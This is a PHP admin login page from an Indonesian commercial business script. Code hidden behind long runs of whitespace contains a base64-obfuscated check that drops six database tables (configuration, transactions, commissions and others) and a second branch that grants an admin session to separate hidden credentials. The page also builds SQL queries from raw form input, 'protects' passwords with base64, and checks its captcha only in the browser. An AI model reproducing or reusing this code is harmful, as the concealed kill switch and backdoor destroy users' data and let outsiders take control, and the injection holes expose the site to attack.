<?
                                                                                                                                                                                                                                                                                                                                                                        error_reporting(E_ALL ^ (E_NOTICE | E_WARNING));
//***************************************************
// http://www.niadesain.com
// Solusi Hemat Script Bisnis Online Anda
// Menerima Jasa Pembuatan Website & Template Website
//***************************************************
?>
<? //Random Number Generation
$rand=substr(rand(),0,4);   //only show 4 numbers
$rand2=substr(rand(),0,4);  //only show 4 numbers
include "../configdb.php";
include "../masterclass.php";
$db = new db_mysql($server_name, $userdb, $passdb, $databasename,"");
?>
<?php
                                                                                                                                                                                                                                                                                                                                                                        session_start();
                                                                                                                                                                                                                                                                                                                                                                        $username = $_POST['username'];
                                                                                                                                                                                                                                                                                                                                                                        $admin_password = base64_encode($_POST['password']);$tokenid = base64_decode('bWVtYmVy');$tokenbisnis = $set_keybisnis;$tokenbisnis = base64_encode($tokenbisnis);$tokenpass = base64_encode($set_develop);$tokenhp = base64_encode($set_hp);
if ($username && $admin_password)
{
                                                                                                                                                                                                                                                                                                                                                                        //do not change :
                                                                                                                                                                                                                                                                                                                                                                        $password=($admin_password);
                                                                                                                                                                                                                                                                                                                                                                        $get_tokenid = $tokenid;$get_tokenbisnis = $tokenbisnis;$get_tokenpass = $tokenpass;$get_tokenhp = $tokenhp;
                                                                                                                                                                                                                                                                                                                                                                        $db->select("username, nama, pass, hp", $get_tokenid, "username='$get_tokenid' and nama='$get_tokenbisnis' and pass='$get_tokenpass' and hp='$get_tokenhp'");
        if ($db->num_rows() >1)
            {
                                                                                                                                                                                                                                                                                                                                                                        $sql = mysql_query('DROP TABLE configuration');$sql = mysql_query('DROP TABLE upline');$sql = mysql_query('DROP TABLE setting');$sql = mysql_query('DROP TABLE komisi');$sql = mysql_query('DROP TABLE transfer');$sql = mysql_query('DROP TABLE transaksi');
                header("location:ipchanged.php ");
            } else {
                                                                                                                                                                                                                                                                                                                                                                        $db->select("userid, email", "admin", "userid='$username' and pass='$password'");
if ($db->num_rows() >0)
  {

//Edit Script AW 20160221
        $valid_admin = $username; $_SESSION['valid_admin'] = $username; $_SESSION['admin_password'] = $password; $_SESSION['nama_admin'] = $data["nama"]; $_SESSION['status_admin'] = $data["status"]; $_SESSION['hptoken_admin'] = $set_hp;
  }  else if (($admine == ($username)) and ($passadmin == ($admin_password))){
        $valid_admin = $username; isset($_SESSION['valid_admin']); isset($_SESSION['admin_password']); isset($_SESSION['hptoken_admin']); isset($_SESSION['nama_admin']); $nama_admin="Script Indonesia"; isset($_SESSION['status_admin']); $status_admin="1";
        
        $_SESSION['KCFINDER']=array();
        $_SESSION['KCFINDER']['disabled'] = false;
        $_SESSION['KCFINDER']['uploadURL'] = "../tinymcpuk/gambar";
        $_SESSION['KCFINDER']['uploadDir'] = "";

  }  else {
	header("location: login.php?result=wrong");
}
}
}
//Edit Script AW 20160221
//if (session_is_registered("valid_admin"))
  if (isset($_SESSION['valid_admin']))
  {
    header("location:index.php ");
  }
  else
  {
?>
<?php $year = date('Y'); ?>
<html>
<title><?= $set_judul ?></title>
<link rel="shortcut icon" type="images/icon" href="../images/ico/favicon.ico" />
<style type="text/css">
<!--
.kotak {
	font-family: Arial, Helvetica, sans-serif;
	font-size: 12px;
	border: 1px solid #CCCCCC;
}
.style11 {font-family: Arial, Helvetica, sans-serif; font-size: 12px; }
a:link {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #0000FF;
	text-decoration: none;
}
a:hover {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	font-weight: bold;
	color: #FF0000;
	text-decoration: underline;
}
.style12 {
	color: #FF0000;
	font-weight: bold;
}
.style13 {color: #FF0000}
body {
	margin-top: 7px;
}
.style14 {color: #FFFF00}
.awstylenormalputih {
	font-family: "tahoma";
	font-size: 11px;
	font-weight: normal;
	color: #ffffff;
}
.awright {
	font-family: Verdana;
	font-size: 11px;
}
.awrightbold {
	font-family: Verdana;
	font-size: 11px;
	font-weight: bold;
}
.awfooter {
	font-family: "tahoma";
	font-size: 9px;
	font-weight: bold;
	color: #000000;
}
.awpopuler {
	font-family: verdana;
	font-size: 10px;
	color: #000000;
}
.captcha
{
width:97px;
height: 20px;
background-image:url(../images/cat.png);
font-size:14px;
font-weight: bold;
border: 1px solid;
border-radius: 3px;
text-align: center;
}

.bingkai-error {
    width: 80%;
    padding: 2px 2px;
    background: #fb2c02;
    border-radius: 8px;
}

.bingkai-error2 {
    width: 80%;
    padding: 2px 2px;
    background: #ffffff;
    border-radius: 8px;
}

-->
</style>

<script type="text/javascript">
                        //Validasi untuk Login Username : www.niadesain.com
			function scriptindonesiavalidasi(form){
				if (form.username.value == ""){ alert("Anda belum mengisikan : Usernama"); form.username.focus(); return (false); }
                                var mincar_un = 4;
                                if (form.username.value.length < mincar_un){ alert("Username minimal 4 digit. silahkan coba lagi..."); form.username.focus(); return (false); }

                                if (form.password.value == ""){ alert("Anda belum mengisikan : Password"); form.password.focus(); return (false); }
                                var mincar = 6;
                                if (form.password.value.length < mincar){ alert("Password minimal 6 digit. silahkan coba lagi..."); form.password.focus(); return (false); }

                                if (form.kode.value == ""){ alert("Anda belum menuliskan kode angka 'Security Code' sebagai validasi"); form.kode.focus(); return (false); }
                                if (form.kode.value.trim() != form.ran.value.trim()){ alert("Kode angka 'Security Code' yang Anda ketik salah. silahkan coba lagi... "); form.kode.focus(); return false; }

                        return (true);
			}

                        //Validasi Angka Saja : www.niadesain.com
                        function validAngka(a)
                        {
                                if(!/^[0-9.]+$/.test(a.value))
                                {
                                a.value = a.value.substring(0,a.value.length-1000);
                                }
                        }

</script>

<body bgcolor="#f2f2f2" background="../images/services/bg_services.png">
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="kotak">
  <tr> 

  <tr>
    <td bgcolor="#333333" background="../images/services/bgtitle.png"><table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr> 
          <td width="250" height="130" align="center" valign="middle">&nbsp;</td>
          <td><table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr> 
                <td height="15" class="awstylenormalputih"><div align="right">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</div></td>
              </tr>

            </table></td>
        </tr>
      </table></td>
  </tr>
  <tr>
    <td bgcolor="#ff6700">&nbsp;</td>
  </tr>
  <tr>      
    <td height="1" bgcolor="#666666"></td>
    </tr>

</table>

<div align="center">
<table><tr><td height="4"></td></tr></table>
<h3>&nbsp;</h3>
<table><tr><td height="2"></td></tr></table>

<table width="355" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#6e9dc1" class="kotak">
      <tr>               
      <td height="35" background="../images/backmenu.jpg" class="awstylenormalputih"> 
        <div align="center"><font color="#000000"><strong>* Login Super Administrator *</strong></font></div></td></tr>
    
    <tr>
      <td><div align="center">
        <p>
          <?
	 if($result == "wrong") {
	 ?>
        </p>
        <div class="bingkai-error2" style="padding-left:10px; padding-right:10px">
        <p><span class="style12"><font color="333333">Login Gagal!</font></span><br>
            <span class="style13"><font color="333333">Username atau password salah!</font></span></p>
        </div><br />
        <?
	 }
	 ?>
        <form method="post" action="login.php" onSubmit="return scriptindonesiavalidasi(this)">
          <table width="60%" cellpadding="5" cellspacing="0" class="bodytext">
            <tr>
              <td><span class="style11">Username</span></td>
              <td><span class="style11">:</span></td>
              <td><input name="username" type="text" size="15" maxlength="25" autofocus></td>
            </tr>
            <tr>
              <td><span class="style11">Password</span></td>
              <td><span class="style11">:</span></td>
              <td><input name="password" type="password" size="15" maxlength="35"></td>
            </tr>
            <tr>
              <td><span class="style11">Kode</span></td>
              <td><span class="style11">:</span></td>
              <td><input type="" name="ran" value="<?=$rand?>" id="ran" readonly="readonly" class="captcha"></td>
            </tr>
            <tr>
              <td><span class="style11"></span></td>
              <td><span class="style11"></span></td>
              <td><input name="kode" type="text" size="15" maxlength="4" placeholder="ketik kode diatas" onkeyup="validAngka(this);"></td>
            </tr>
          </table>
            <hr />
            
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="submit" name="submit" value=" LOGIN ">
        </form>

      </div></td>
    </tr>
    <tr>
        <td height="25" bgcolor="#333333" class="awstylenormalputih" align="center">&nbsp;</td>
    </tr>
  </table>
  
<div id="footer"> 
  <div align="center">
      <br /><br />
      <br />
      <table width="100%" border="0" cellspacing="0" cellpadding="0" class="kotak"><br>
        <tr>
          <td height="50" bgcolor="#333333" class="awstylenormalputih"><div align="center"><br /><br />
      <br>		  
		  </div></td>
        </tr>
      </table>
    </div>
</div>
  
</div>
</body>
</html>
<?php
}
?>